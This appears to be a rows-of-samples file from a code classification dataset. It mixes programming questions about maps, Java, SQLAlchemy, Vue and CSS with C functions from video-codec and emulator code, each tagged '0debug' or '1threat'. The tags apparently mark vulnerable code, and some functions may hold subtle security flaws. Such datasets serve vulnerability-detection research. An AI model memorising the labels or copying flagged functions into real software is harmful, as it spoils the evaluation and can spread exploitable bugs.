<p>So the user's experience would be to search for e.g. his own street, and see which colour his and neighbouring streets have. A bit like your typical map hotspots functionality, but really focused on the street level.</p>
<p>A sketch of this idea:</p>
<p><img src="https://i.stack.imgur.com/qcoo0.png" alt="sketch"></p>
<p>Does anyone know any approach to get to this? Combine a dynamically searchable map with a pre-colouring of let's say 10k streets?</p>
<p>I've looked at bing maps, google maps, here maps, osm, but none of them really seem to offer what I'm looking for. I don't want to query specific coordinates of a specific street given the query of the user, and then draw polylines along those coordinates - I want a "pre-baked" map, that works just like a searchable normal map, but happens to colour streets in a specific pre-defined way.</p>
<p>I'm happy with any good approach, doesn't matter how complex (offline rendering, dynamic colouring, ...). I looked around for possible solutions, but anything I found was focused on either providing a static image, or colouring just one specific street using e.g. a directions API.</p>
<p>Thanks for any input!</p>
| 0debug |
Java - Check if input is of Premitive type : I have to check for each **input**, print out if it is an instance of a *primitive or referenced* type. But I am getting same output each time. Any Help?
**Note: I do search SO, but no luck.**
Code:
-----
public class Demo {
public static void main(String[] args) throws IOException {
/* Enter your code here. Read input from STDIN. Print output to STDOUT. Your class should be named Solution. */
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
for(int i=0; i<9; ++i){
String input = br.readLine();
showPremitive(input);
}
}
public static void showPremitive(Object input){
try{
if (input instanceof Short)
System.out.println("Primitive : short");
else if(input instanceof Integer)
System.out.println("Primitive : int");
else if(input instanceof Long)
System.out.println("Primitive : long");
else if(input instanceof Float)
System.out.println("Primitive : float");
else if(input instanceof Double)
System.out.println("Primitive : double");
else if(input instanceof Boolean)
System.out.println("Primitive : bool");
else if(input instanceof Character)
System.out.println("Primitive : char");
else if(input instanceof Byte)
System.out.println("Primitive : byte");
else
System.out.println("Reference : string");
}
catch (InputMismatchException e){
System.out.println("crashing down"+e);
}
}
}
**Output:**
Reference : string
Reference : string
Reference : string
Reference : string
Reference : string
Reference : string
Reference : string
Reference : string
Reference : string
| 0debug |
SQLAlchemy: How do you delete multiple rows without querying : <p>I have a table that has millions of rows. I want to delete multiple rows via an in clause. However, using the code:</p>
<pre><code>session.query(Users).filter(Users.id.in_(subquery....)).delete()
</code></pre>
<p>The above code will query the results, and then execute the delete. I don't want to do that. I want speed.</p>
<p>I want to be able to execute (yes I know about the session.execute):<code>Delete from users where id in ()</code></p>
<p><strong>So the Question:</strong> How can I get the best of two worlds, using the ORM? Can I do the delete without hard coding the query?</p>
| 0debug |
static int v9fs_synth_init(FsContext *ctx)
{
QLIST_INIT(&v9fs_synth_root.child);
qemu_mutex_init(&v9fs_synth_mutex);
v9fs_add_dir_node(&v9fs_synth_root, v9fs_synth_root.attr->mode,
"..", v9fs_synth_root.attr, v9fs_synth_root.attr->inode);
v9fs_add_dir_node(&v9fs_synth_root, v9fs_synth_root.attr->mode,
".", v9fs_synth_root.attr, v9fs_synth_root.attr->inode);
v9fs_synth_fs = 1;
return 0;
}
| 1threat |
Why i cannot use background-image: url("omg/1.jpg"); to using local images? : The code is like below. I have already put the image "1.jpg" into that file
name "img". But in my website, this image doesn't show up. However, i found
that if i use the images from Internet, it will show up. Could someone
figure out the problem? Thanks.
<!-- begin snippet: js hide: false -->
<!-- language: lang-css -->
#banner
{
background-image: url("img/1.jpg");
}
<!-- end snippet -->
| 0debug |
Kotlin convert List to vararg : <p>I have input data of type <code>List<UnitWithComponents></code> </p>
<pre><code>class UnitWithComponents {
var unit: Unit? = null
var components: List<Component> = ArrayList()
}
</code></pre>
<p>I want to convert the data to a <code>vararg</code> of <code>Unit</code></p>
<p>Currently I am doing <code>*data.map { it.unit!! }.toTypedArray()</code>. Is there a better way to do it?</p>
| 0debug |
static int libopenjpeg_encode_frame(AVCodecContext *avctx, AVPacket *pkt,
const AVFrame *frame, int *got_packet)
{
LibOpenJPEGContext *ctx = avctx->priv_data;
opj_cinfo_t *compress = ctx->compress;
opj_image_t *image = ctx->image;
opj_cio_t *stream = ctx->stream;
int cpyresult = 0;
int ret, len;
AVFrame *gbrframe;
switch (avctx->pix_fmt) {
case AV_PIX_FMT_RGB24:
case AV_PIX_FMT_RGBA:
case AV_PIX_FMT_GRAY8A:
cpyresult = libopenjpeg_copy_packed8(avctx, frame, image);
break;
case AV_PIX_FMT_XYZ12:
cpyresult = libopenjpeg_copy_packed12(avctx, frame, image);
break;
case AV_PIX_FMT_RGB48:
case AV_PIX_FMT_RGBA64:
cpyresult = libopenjpeg_copy_packed16(avctx, frame, image);
break;
case AV_PIX_FMT_GBR24P:
case AV_PIX_FMT_GBRP9:
case AV_PIX_FMT_GBRP10:
case AV_PIX_FMT_GBRP12:
case AV_PIX_FMT_GBRP14:
case AV_PIX_FMT_GBRP16:
gbrframe = av_frame_alloc();
if (!gbrframe)
return AVERROR(ENOMEM);
av_frame_ref(gbrframe, frame);
gbrframe->data[0] = frame->data[2];
gbrframe->data[1] = frame->data[0];
gbrframe->data[2] = frame->data[1];
gbrframe->linesize[0] = frame->linesize[2];
gbrframe->linesize[1] = frame->linesize[0];
gbrframe->linesize[2] = frame->linesize[1];
if (avctx->pix_fmt == AV_PIX_FMT_GBR24P) {
cpyresult = libopenjpeg_copy_unpacked8(avctx, gbrframe, image);
} else {
cpyresult = libopenjpeg_copy_unpacked16(avctx, gbrframe, image);
}
av_frame_free(&gbrframe);
break;
case AV_PIX_FMT_GRAY8:
case AV_PIX_FMT_YUV410P:
case AV_PIX_FMT_YUV411P:
case AV_PIX_FMT_YUV420P:
case AV_PIX_FMT_YUV422P:
case AV_PIX_FMT_YUV440P:
case AV_PIX_FMT_YUV444P:
case AV_PIX_FMT_YUVA420P:
case AV_PIX_FMT_YUVA422P:
case AV_PIX_FMT_YUVA444P:
cpyresult = libopenjpeg_copy_unpacked8(avctx, frame, image);
break;
case AV_PIX_FMT_GRAY16:
case AV_PIX_FMT_YUV420P9:
case AV_PIX_FMT_YUV422P9:
case AV_PIX_FMT_YUV444P9:
case AV_PIX_FMT_YUVA420P9:
case AV_PIX_FMT_YUVA422P9:
case AV_PIX_FMT_YUVA444P9:
case AV_PIX_FMT_YUV444P10:
case AV_PIX_FMT_YUV422P10:
case AV_PIX_FMT_YUV420P10:
case AV_PIX_FMT_YUVA444P10:
case AV_PIX_FMT_YUVA422P10:
case AV_PIX_FMT_YUVA420P10:
case AV_PIX_FMT_YUV420P12:
case AV_PIX_FMT_YUV422P12:
case AV_PIX_FMT_YUV444P12:
case AV_PIX_FMT_YUV420P14:
case AV_PIX_FMT_YUV422P14:
case AV_PIX_FMT_YUV444P14:
case AV_PIX_FMT_YUV444P16:
case AV_PIX_FMT_YUV422P16:
case AV_PIX_FMT_YUV420P16:
case AV_PIX_FMT_YUVA444P16:
case AV_PIX_FMT_YUVA422P16:
case AV_PIX_FMT_YUVA420P16:
cpyresult = libopenjpeg_copy_unpacked16(avctx, frame, image);
break;
default:
av_log(avctx, AV_LOG_ERROR,
"The frame's pixel format '%s' is not supported\n",
av_get_pix_fmt_name(avctx->pix_fmt));
return AVERROR(EINVAL);
break;
}
if (!cpyresult) {
av_log(avctx, AV_LOG_ERROR,
"Could not copy the frame data to the internal image buffer\n");
return -1;
}
cio_seek(stream, 0);
if (!opj_encode(compress, stream, image, NULL)) {
av_log(avctx, AV_LOG_ERROR, "Error during the opj encode\n");
return -1;
}
len = cio_tell(stream);
if ((ret = ff_alloc_packet2(avctx, pkt, len)) < 0) {
return ret;
}
memcpy(pkt->data, stream->buffer, len);
pkt->flags |= AV_PKT_FLAG_KEY;
*got_packet = 1;
return 0;
}
| 1threat |
static void free_tables(H264Context *h){
int i;
H264Context *hx;
av_freep(&h->intra4x4_pred_mode);
av_freep(&h->chroma_pred_mode_table);
av_freep(&h->cbp_table);
av_freep(&h->mvd_table[0]);
av_freep(&h->mvd_table[1]);
av_freep(&h->direct_table);
av_freep(&h->non_zero_count);
av_freep(&h->slice_table_base);
h->slice_table= NULL;
av_freep(&h->list_counts);
av_freep(&h->mb2b_xy);
av_freep(&h->mb2br_xy);
for(i = 0; i < MAX_THREADS; i++) {
hx = h->thread_context[i];
if(!hx) continue;
av_freep(&hx->top_borders[1]);
av_freep(&hx->top_borders[0]);
av_freep(&hx->s.obmc_scratchpad);
av_freep(&hx->rbsp_buffer[1]);
av_freep(&hx->rbsp_buffer[0]);
hx->rbsp_buffer_size[0] = 0;
hx->rbsp_buffer_size[1] = 0;
if (i) av_freep(&h->thread_context[i]);
}
}
| 1threat |
int ff_h264_decode_seq_parameter_set(H264Context *h)
{
int profile_idc, level_idc, constraint_set_flags = 0;
unsigned int sps_id;
int i, log2_max_frame_num_minus4;
SPS *sps;
profile_idc = get_bits(&h->gb, 8);
constraint_set_flags |= get_bits1(&h->gb) << 0;
constraint_set_flags |= get_bits1(&h->gb) << 1;
constraint_set_flags |= get_bits1(&h->gb) << 2;
constraint_set_flags |= get_bits1(&h->gb) << 3;
constraint_set_flags |= get_bits1(&h->gb) << 4;
constraint_set_flags |= get_bits1(&h->gb) << 5;
skip_bits(&h->gb, 2);
level_idc = get_bits(&h->gb, 8);
sps_id = get_ue_golomb_31(&h->gb);
if (sps_id >= MAX_SPS_COUNT) {
av_log(h->avctx, AV_LOG_ERROR, "sps_id %u out of range\n", sps_id);
return AVERROR_INVALIDDATA;
}
sps = av_mallocz(sizeof(SPS));
if (!sps)
return AVERROR(ENOMEM);
sps->sps_id = sps_id;
sps->time_offset_length = 24;
sps->profile_idc = profile_idc;
sps->constraint_set_flags = constraint_set_flags;
sps->level_idc = level_idc;
memset(sps->scaling_matrix4, 16, sizeof(sps->scaling_matrix4));
memset(sps->scaling_matrix8, 16, sizeof(sps->scaling_matrix8));
sps->scaling_matrix_present = 0;
if (sps->profile_idc == 100 ||
sps->profile_idc == 110 ||
sps->profile_idc == 122 ||
sps->profile_idc == 244 ||
sps->profile_idc == 44 ||
sps->profile_idc == 83 ||
sps->profile_idc == 86 ||
sps->profile_idc == 118 ||
sps->profile_idc == 128 ||
sps->profile_idc == 138 ||
sps->profile_idc == 144) {
sps->chroma_format_idc = get_ue_golomb_31(&h->gb);
if (sps->chroma_format_idc > 3) {
avpriv_request_sample(h->avctx, "chroma_format_idc %u",
sps->chroma_format_idc);
goto fail;
} else if (sps->chroma_format_idc == 3) {
sps->residual_color_transform_flag = get_bits1(&h->gb);
}
sps->bit_depth_luma = get_ue_golomb(&h->gb) + 8;
sps->bit_depth_chroma = get_ue_golomb(&h->gb) + 8;
if (sps->bit_depth_chroma != sps->bit_depth_luma) {
avpriv_request_sample(h->avctx,
"Different chroma and luma bit depth");
goto fail;
}
sps->transform_bypass = get_bits1(&h->gb);
decode_scaling_matrices(h, sps, NULL, 1,
sps->scaling_matrix4, sps->scaling_matrix8);
} else {
sps->chroma_format_idc = 1;
sps->bit_depth_luma = 8;
sps->bit_depth_chroma = 8;
}
log2_max_frame_num_minus4 = get_ue_golomb(&h->gb);
if (log2_max_frame_num_minus4 < MIN_LOG2_MAX_FRAME_NUM - 4 ||
log2_max_frame_num_minus4 > MAX_LOG2_MAX_FRAME_NUM - 4) {
av_log(h->avctx, AV_LOG_ERROR,
"log2_max_frame_num_minus4 out of range (0-12): %d\n",
log2_max_frame_num_minus4);
goto fail;
}
sps->log2_max_frame_num = log2_max_frame_num_minus4 + 4;
sps->poc_type = get_ue_golomb_31(&h->gb);
if (sps->poc_type == 0) {
sps->log2_max_poc_lsb = get_ue_golomb(&h->gb) + 4;
} else if (sps->poc_type == 1) {
sps->delta_pic_order_always_zero_flag = get_bits1(&h->gb);
sps->offset_for_non_ref_pic = get_se_golomb(&h->gb);
sps->offset_for_top_to_bottom_field = get_se_golomb(&h->gb);
sps->poc_cycle_length = get_ue_golomb(&h->gb);
if ((unsigned)sps->poc_cycle_length >=
FF_ARRAY_ELEMS(sps->offset_for_ref_frame)) {
av_log(h->avctx, AV_LOG_ERROR,
"poc_cycle_length overflow %d\n", sps->poc_cycle_length);
goto fail;
}
for (i = 0; i < sps->poc_cycle_length; i++)
sps->offset_for_ref_frame[i] = get_se_golomb(&h->gb);
} else if (sps->poc_type != 2) {
av_log(h->avctx, AV_LOG_ERROR, "illegal POC type %d\n", sps->poc_type);
goto fail;
}
sps->ref_frame_count = get_ue_golomb_31(&h->gb);
if (sps->ref_frame_count > H264_MAX_PICTURE_COUNT - 2 ||
sps->ref_frame_count >= 32U) {
av_log(h->avctx, AV_LOG_ERROR,
"too many reference frames %d\n", sps->ref_frame_count);
goto fail;
}
sps->gaps_in_frame_num_allowed_flag = get_bits1(&h->gb);
sps->mb_width = get_ue_golomb(&h->gb) + 1;
sps->mb_height = get_ue_golomb(&h->gb) + 1;
if ((unsigned)sps->mb_width >= INT_MAX / 16 ||
(unsigned)sps->mb_height >= INT_MAX / 16 ||
av_image_check_size(16 * sps->mb_width,
16 * sps->mb_height, 0, h->avctx)) {
av_log(h->avctx, AV_LOG_ERROR, "mb_width/height overflow\n");
goto fail;
}
sps->frame_mbs_only_flag = get_bits1(&h->gb);
if (!sps->frame_mbs_only_flag)
sps->mb_aff = get_bits1(&h->gb);
else
sps->mb_aff = 0;
sps->direct_8x8_inference_flag = get_bits1(&h->gb);
if (!sps->frame_mbs_only_flag && !sps->direct_8x8_inference_flag) {
av_log(h->avctx, AV_LOG_ERROR,
"This stream was generated by a broken encoder, invalid 8x8 inference\n");
goto fail;
}
#ifndef ALLOW_INTERLACE
if (sps->mb_aff)
av_log(h->avctx, AV_LOG_ERROR,
"MBAFF support not included; enable it at compile-time.\n");
#endif
sps->crop = get_bits1(&h->gb);
if (sps->crop) {
unsigned int crop_left = get_ue_golomb(&h->gb);
unsigned int crop_right = get_ue_golomb(&h->gb);
unsigned int crop_top = get_ue_golomb(&h->gb);
unsigned int crop_bottom = get_ue_golomb(&h->gb);
if (h->avctx->flags2 & AV_CODEC_FLAG2_IGNORE_CROP) {
av_log(h->avctx, AV_LOG_DEBUG, "discarding sps cropping, original "
"values are l:%d r:%d t:%d b:%d\n",
crop_left, crop_right, crop_top, crop_bottom);
sps->crop_left =
sps->crop_right =
sps->crop_top =
sps->crop_bottom = 0;
} else {
int vsub = (sps->chroma_format_idc == 1) ? 1 : 0;
int hsub = (sps->chroma_format_idc == 1 ||
sps->chroma_format_idc == 2) ? 1 : 0;
int step_x = 1 << hsub;
int step_y = (2 - sps->frame_mbs_only_flag) << vsub;
if (crop_left & (0x1F >> (sps->bit_depth_luma > 8)) &&
!(h->avctx->flags & AV_CODEC_FLAG_UNALIGNED)) {
crop_left &= ~(0x1F >> (sps->bit_depth_luma > 8));
av_log(h->avctx, AV_LOG_WARNING,
"Reducing left cropping to %d "
"chroma samples to preserve alignment.\n",
crop_left);
}
if (INT_MAX / step_x <= crop_left ||
INT_MAX / step_x - crop_left <= crop_right ||
16 * sps->mb_width <= step_x * (crop_left + crop_right) ||
INT_MAX / step_y <= crop_top ||
INT_MAX / step_y - crop_top <= crop_bottom ||
16 * sps->mb_height <= step_y * (crop_top + crop_bottom)) {
av_log(h->avctx, AV_LOG_WARNING, "Invalid crop parameters\n");
if (h->avctx->err_recognition & AV_EF_EXPLODE)
goto fail;
crop_left = crop_right = crop_top = crop_bottom = 0;
}
sps->crop_left = crop_left * step_x;
sps->crop_right = crop_right * step_x;
sps->crop_top = crop_top * step_y;
sps->crop_bottom = crop_bottom * step_y;
}
} else {
sps->crop_left =
sps->crop_right =
sps->crop_top =
sps->crop_bottom =
sps->crop = 0;
}
sps->vui_parameters_present_flag = get_bits1(&h->gb);
if (sps->vui_parameters_present_flag) {
int ret = decode_vui_parameters(h, sps);
if (ret < 0 && h->avctx->err_recognition & AV_EF_EXPLODE)
goto fail;
}
if (!sps->bitstream_restriction_flag) {
sps->num_reorder_frames = MAX_DELAYED_PIC_COUNT - 1;
for (i = 0; i < FF_ARRAY_ELEMS(level_max_dpb_mbs); i++) {
if (level_max_dpb_mbs[i][0] == sps->level_idc) {
sps->num_reorder_frames = FFMIN(level_max_dpb_mbs[i][1] / (sps->mb_width * sps->mb_height),
sps->num_reorder_frames);
break;
}
}
}
if (!sps->sar.den)
sps->sar.den = 1;
if (h->avctx->debug & FF_DEBUG_PICT_INFO) {
static const char csp[4][5] = { "Gray", "420", "422", "444" };
av_log(h->avctx, AV_LOG_DEBUG,
"sps:%u profile:%d/%d poc:%d ref:%d %dx%d %s %s crop:%u/%u/%u/%u %s %s %"PRId32"/%"PRId32"\n",
sps_id, sps->profile_idc, sps->level_idc,
sps->poc_type,
sps->ref_frame_count,
sps->mb_width, sps->mb_height,
sps->frame_mbs_only_flag ? "FRM" : (sps->mb_aff ? "MB-AFF" : "PIC-AFF"),
sps->direct_8x8_inference_flag ? "8B8" : "",
sps->crop_left, sps->crop_right,
sps->crop_top, sps->crop_bottom,
sps->vui_parameters_present_flag ? "VUI" : "",
csp[sps->chroma_format_idc],
sps->timing_info_present_flag ? sps->num_units_in_tick : 0,
sps->timing_info_present_flag ? sps->time_scale : 0);
}
sps->new = 1;
av_free(h->sps_buffers[sps_id]);
h->sps_buffers[sps_id] = sps;
h->sps = *sps;
return 0;
fail:
av_free(sps);
return AVERROR_INVALIDDATA;
}
| 1threat |
static void gen_nabso(DisasContext *ctx)
{
int l1 = gen_new_label();
int l2 = gen_new_label();
tcg_gen_brcondi_tl(TCG_COND_GT, cpu_gpr[rA(ctx->opcode)], 0, l1);
tcg_gen_mov_tl(cpu_gpr[rD(ctx->opcode)], cpu_gpr[rA(ctx->opcode)]);
tcg_gen_br(l2);
gen_set_label(l1);
tcg_gen_neg_tl(cpu_gpr[rD(ctx->opcode)], cpu_gpr[rA(ctx->opcode)]);
gen_set_label(l2);
tcg_gen_movi_tl(cpu_ov, 0);
if (unlikely(Rc(ctx->opcode) != 0))
gen_set_Rc0(ctx, cpu_gpr[rD(ctx->opcode)]);
}
| 1threat |
Sorting arrays of json objects in this manner, of frequency : I have this type of json object
students = [
{
"name": "Ana Barbique",
"category":"B"
}
{
"name": "Marko Polo",
"category":"B"
}
{
"name": "Nick Harper",
"category":"A"
}
]
What I want it to have a object of this type:
sum = [
{
"category": "A",
"count" : 1
}
{
"category": "B",
"count" : 2
}
]
So essentially I want to have the objects of the array have the categories that appear in students and their count. The order doesn't matter. I have not done this before. | 0debug |
how to search book by id and give output all subchild value using javacript from xml file : i want to search book by id and give
output of title author year price value
like <br>
search id = 3<br>
output :<br>
title: XQuery Kick Start<br>
author: James McGovern<br>
author: Per Bothner<br>
author: Kurt Cagle<br>
author: James Linn<br>
author: Vaidyanathan Nagarajan<br>
year: 2003<br>
price: 49.99<br>
xml file -->
<?xml version="1.0" encoding="UTF-8"?>
<bookstore>
<book id="1">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book id="2">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book id="3">
<title lang="un">XQuery Kick Start</title>
<author>James McGovern</author>
<author>Per Bothner</author>
<author>Kurt Cagle</author>
<author>James Linn</author>
<author>Vaidyanathan Nagarajan</author>
<year>2003</year>
<price>49.99</price>
</book>
<book id="4">
<title lang="en">Learning XML</title>
<author>Erik T. Ray</author>
<year>2003</year>
<price>39.95</price>
</book>
</bookstore> | 0debug |
Distinct values with pluck : <p>I'm trying to retrieve data from database and bind them to a html select tag, and to bind them i need to use pluck so i get the field i want to show in a array(key => value), because of FORM::select. The normal pluck gets all the results, while i want to use distinct. My model is Room and it looks like: </p>
<pre><code> class Room extends Eloquent
{
public $timestamps = false;
protected $casts = [
'price' => 'float',
'floor' => 'int',
'size' => 'float'
];
protected $fillable = [
'capacity',
'description',
'price',
'floor',
'size',
'type',
'photo_name'
];
}
</code></pre>
<p>While my function I'm using in the controller look like:</p>
<pre><code>public function getRooms()
{
$roomType = Room::pluck('type','type');
$roomFloor = Room::pluck('floor','floor');
return view('roomgrid')->with('type',$roomType)->with('floor',$roomFloor);
}
</code></pre>
<p>And my view contains this piece of code to get floors:</p>
<pre><code>{{FORM::select('floor', $floor, null,['class'=>'basic'])}}
</code></pre>
<p>Like this i get duplicated floors, that i don't want. Is there any way so i can get distinct floors and pluck them? Thanks in advance.</p>
| 0debug |
static void uhci_queue_fill(UHCIQueue *q, UHCI_TD *td)
{
uint32_t int_mask = 0;
uint32_t plink = td->link;
UHCI_TD ptd;
int ret;
while (is_valid(plink)) {
uhci_read_td(q->uhci, &ptd, plink);
if (!(ptd.ctrl & TD_CTRL_ACTIVE)) {
break;
}
if (uhci_queue_token(&ptd) != q->token) {
break;
}
trace_usb_uhci_td_queue(plink & ~0xf, ptd.ctrl, ptd.token);
ret = uhci_handle_td(q->uhci, q, &ptd, plink, &int_mask);
if (ret == TD_RESULT_ASYNC_CONT) {
break;
}
assert(ret == TD_RESULT_ASYNC_START);
assert(int_mask == 0);
plink = ptd.link;
}
usb_device_flush_ep_queue(q->ep->dev, q->ep);
}
| 1threat |
Paginate date-specific results from an API with React and Redux : <p>I want to show some news in my React app using Redux.</p>
<p>The problem is that I want to show the news for individual dates and I want to paginate the news.</p>
<p>In my API I print</p>
<pre><code>{
pagination: {
count: 1000,
size: 10,
page: 1,
pages: 100
},
news: [
..
]
}
</code></pre>
<p>I know how to make a simple pagination, but I don't know how the API should work if I want to be able to show news for different dates in my app.</p>
<p>Until now (without dates), I have just kept a state <code>news</code> and <code>pagination</code> in my Redux reducer, and then checked if the page number equals the total number of pages to determine whether it should try loading more news.</p>
<p>But now that I potentially have many different dates and I want to keep all the news in the Redux store, I don't know how to structure it.</p>
<p>I can keep my API as it is, since filtering with GET parameter <code>?date=15-09-2017</code> will just decrease the number of news in the API result.</p>
<p>But would it still be possible to just keep all the news in an array in a <code>news</code> variable in my reducer or do I have to structure it to be something like</p>
<pre><code>news: {
'15-09-2017': {
news: [...],
pagination: {}
},
...
}
</code></pre>
<p>in order to keep track of the pagination for every single date?</p>
| 0debug |
def rotate_left(list1,m,n):
result = list1[m:]+list1[:n]
return result | 0debug |
Where should Network calls be made in Android : <p>In which situation is it acceptable to make network calls on the UI thread? Or we can say that Network calls should never be on the main UI thread.</p>
| 0debug |
Why do most frameworks use margin and not padding on p, h1, h2 etc.? : <p>Would there be any downside to use padding? Or why everyone seems to go with margin?</p>
| 0debug |
Two questions in complexity : How can I proof the following questions in complexity:
1. |O(f(n)) – O(f(n))| = ?
Complexity of absolute value of O(f(n)) – O(f(n)).
2. O(f(n))+ O(f(n)) = ?
Many thanks,
Ran. | 0debug |
static int color_request_frame(AVFilterLink *link)
{
ColorContext *color = link->src->priv;
AVFilterBufferRef *picref = ff_get_video_buffer(link, AV_PERM_WRITE, color->w, color->h);
int ret;
picref->video->pixel_aspect = (AVRational) {1, 1};
picref->pts = color->pts++;
picref->pos = -1;
ret = ff_start_frame(link, avfilter_ref_buffer(picref, ~0));
if (ret < 0)
goto fail;
ff_draw_rectangle(picref->data, picref->linesize,
color->line, color->line_step, color->hsub, color->vsub,
0, 0, color->w, color->h);
ret = ff_draw_slice(link, 0, color->h, 1);
if (ret < 0)
goto fail;
ret = ff_end_frame(link);
fail:
avfilter_unref_buffer(picref);
return ret;
}
| 1threat |
ser_write(void *opaque, hwaddr addr,
uint64_t val64, unsigned int size)
{
ETRAXSerial *s = opaque;
uint32_t value = val64;
unsigned char ch = val64;
D(qemu_log("%s " TARGET_FMT_plx "=%x\n", __func__, addr, value));
addr >>= 2;
switch (addr)
{
case RW_DOUT:
qemu_chr_fe_write(s->chr, &ch, 1);
s->regs[R_INTR] |= 3;
s->pending_tx = 1;
s->regs[addr] = value;
break;
case RW_ACK_INTR:
if (s->pending_tx) {
value &= ~1;
s->pending_tx = 0;
D(qemu_log("fixedup value=%x r_intr=%x\n",
value, s->regs[R_INTR]));
}
s->regs[addr] = value;
s->regs[R_INTR] &= ~value;
D(printf("r_intr=%x\n", s->regs[R_INTR]));
break;
default:
s->regs[addr] = value;
break;
}
ser_update_irq(s);
}
| 1threat |
static void machine_class_init(ObjectClass *oc, void *data)
{
MachineClass *mc = MACHINE_CLASS(oc);
QEMUMachine *qm = data;
mc->name = qm->name;
mc->desc = qm->desc;
mc->init = qm->init;
mc->kvm_type = qm->kvm_type;
mc->block_default_type = qm->block_default_type;
mc->max_cpus = qm->max_cpus;
mc->no_sdcard = qm->no_sdcard;
mc->has_dynamic_sysbus = qm->has_dynamic_sysbus;
mc->is_default = qm->is_default;
mc->default_machine_opts = qm->default_machine_opts;
mc->default_boot_order = qm->default_boot_order;
}
| 1threat |
[Vue warn]: Unknown custom element: <router-view> - did you register the component correctly? : <p>I use Vue 2 in CLI mode with webpack-simple. I have following files:</p>
<p>main.js:</p>
<pre><code>import Vue from 'vue'
import App from './App.vue'
import VueRouter from 'vue-router'
import Routes from './routes'
Vue.use('VueRouter');
const router = new VueRouter({
routes: Routes
})
new Vue({
el: '#app',
render: h => h(App),
router: router,
})
</code></pre>
<p>App.vue:</p>
<pre><code><template>
<div>
<router-view></router-view>
</div>
</template>
<script>
import Loader from './Loader.vue'
export default {
name: 'app',
}
</script>
<style lang="scss">
</style>
</code></pre>
<p>routes.js:</p>
<pre><code>import Game from './components/Game.vue';
import Login from './components/Login.vue';
export default [
{ path: '/', component: Game, name: "Game" },
{ path: '/login', component: Login, name: "Login" }
]
</code></pre>
<p>Game.vue and Login.vue looks the same:</p>
<pre><code><template>
<div>
Game
</div>
</template>
<script>
export default {
name: 'game',
}
</script>
<style lang="scss">
div {
border: 1px solid red;
width: 100px;
height: 100px
}
</style>
</code></pre>
<p>unfortunately starting a file gives me an error:</p>
<blockquote>
<p>[Vue warn]: Unknown custom element: - did you register
the component correctly? For recursive components, make sure to
provide the "name" option.</p>
</blockquote>
<p>Also router-view tag is not changed to proper html. I use vue router for the first time. It' been installed via npm in version 3.0.1</p>
<p>Any advice?</p>
| 0debug |
Sort List<string> based on character count + C# : Exaple: <br>
List<string> folders = new List<string>();
folders.Add("folder1/folder2/folder3/");
folders.Add("folder1/");
folders.Add("folder1/folder2/");
I want to sort this list based on character i.e '/'
so my output must be <br>
folder1/ <br>
folder1/folder2/ <br>
folder1/folder2/folder3 <br>
| 0debug |
Fetch data from database into checkbox and get the selected values PHP : <p>I am newbie in both PHP and Mysql. I have a table in Mysql named "has" which i store the physical alignments of customers . There are two attributes CustomerID and PyhsicalAilmentName . In sign up screen i want user to select them in a checkbox. I am able to fetch the phsical alignments from database into checkbox with this form code. </p>
<pre><code> <form action="includes/signup.inc.php" style="border:1px solid #ccc;width: 50%;margin: 0 auto" method="post" >
<div class="container" >
<h1>Sign up</h1>
<p>Please fill in this form to create an account.(Your username should start with "C_")</p>
<hr>
<input type="text" name="username" placeholder="Name">
<input type="text" name="user_last_name" placeholder="Last Name">
<input type="text" name="uid" placeholder="Username">
<input type="password" name="pwd" placeholder="Password">
<input type="password" name="pwd-repeat" placeholder="Repeat Password">
<input type="text" name="user_weight" placeholder="Weight(in terms of kilogram)">
<input type="text" name="user_length" placeholder="Length(in terms of cm)">
<input type="text" name="user_age" placeholder="Age">
<p> Phsical Alignments</p>
<?php
$sql = "select Name from physical_ailment";
$result = mysqli_query($conn,$sql);
$i = 0;
while($db_row = mysqli_fetch_array($result)){
?>
<input type="checkbox" name="check_list[]"> <?php
echo $db_row["Name"]; ?> <br>
<?php
$i++; }
?>
<select name="selected_mem_type" >
<?php
$sql = "select Name from membership_type";
$result = mysqli_query($conn,$sql);
$i = 0;
while($DB_ROW = mysqli_fetch_array($result)){
?>
<option>
<?php echo $DB_ROW['Name']; ?>
</option>
<?php
$i++;} ?>
</select>
<input type ="text" name="user_card_no" placeholder="Credit Card No">
<input type="date" name="user_card_expire_date" placeholder="Expire Date of Card">
<button type="submit" class="signupbtn" name="signup-submit"> Signup </button>
<button type="submit" class="signupbtn" name="home-submit"> Home </button>
</div>
</form>
</code></pre>
<p>Problem is when i intended to get the selected ones with <code>$_POST['check_list']</code>via foreach loop it prints <strong>"on"</strong> according to number of selected checkboxes. If user selects 3 checkboxes in <code>$_POST['check_list']</code> there are 3 elements which is <strong>"on"</strong> . When I select 2 things lets say , and print the <code>$_POST['check_list']</code> with <code>print_r</code> it outputs <code>Array ( [0] => on [1] => on [2] => on )</code>
I search a lot but couldn't manage to find solution. Appreciate any help thank you for interest.</p>
| 0debug |
Retrieve length of slice from slice object in Python : <p>The title explains itself, how to get 2 out of the object</p>
<pre><code>slice(0,2)
</code></pre>
<p>The documentation is somewhat confusing, or it is the wrong one</p>
<p><a href="https://docs.python.org/2/c-api/slice.html" rel="noreferrer">https://docs.python.org/2/c-api/slice.html</a></p>
<p>In particular I don't understand what is the meaning of the output of</p>
<pre><code>slice(0,2).indices(0) # (0, 0, 1)
slice(0,2).indices(10 ** 10) # (0, 2, 1)
</code></pre>
<p>One possible workaround is to slice a list with the slice object</p>
<pre><code>a = [1,2,3,4,5]
len(a[slice(0,2)]) # 2
</code></pre>
<p>But this will fail for an arbitrary large slice.</p>
<p>Thanks, I couldn't find an answer In other posts. </p>
| 0debug |
Can you load other website html source code using only js? : I wanted to retrieve a webpage example "http://google.com". Not from your own website.
I wanted to extract all url then only download the picture.
Can this be achieved using only own js code without using ajax or jquery? Because I wanted it to be as lightweight as possible
Note: I don't wish to use other site api. I hope this can be achived using own written js only.
```
<p id="demo">here is your downloadable picture link: </p>
<script>
function analyseURL() {
var url1 = "http://google.com";
var HtmlPageSource = get url1 inner sourcode
var finalPic = filter HtmlPageSource here
document.getElementById("demo").innerHTML = finalPic;
}
</script>
``` | 0debug |
How to make a Round Toolbar for a Website : <p>I'v searched the whole time for about 3 days to make a round toolbar then i'v tried to do it myselt but i could'nt. Then my friend said to me about Stackoverflow that they are amazing at answering html Questions. And this what i want to do: <a href="http://i.stack.imgur.com/JtJ5x.jpg" rel="nofollow">Round Toolbar</a></p>
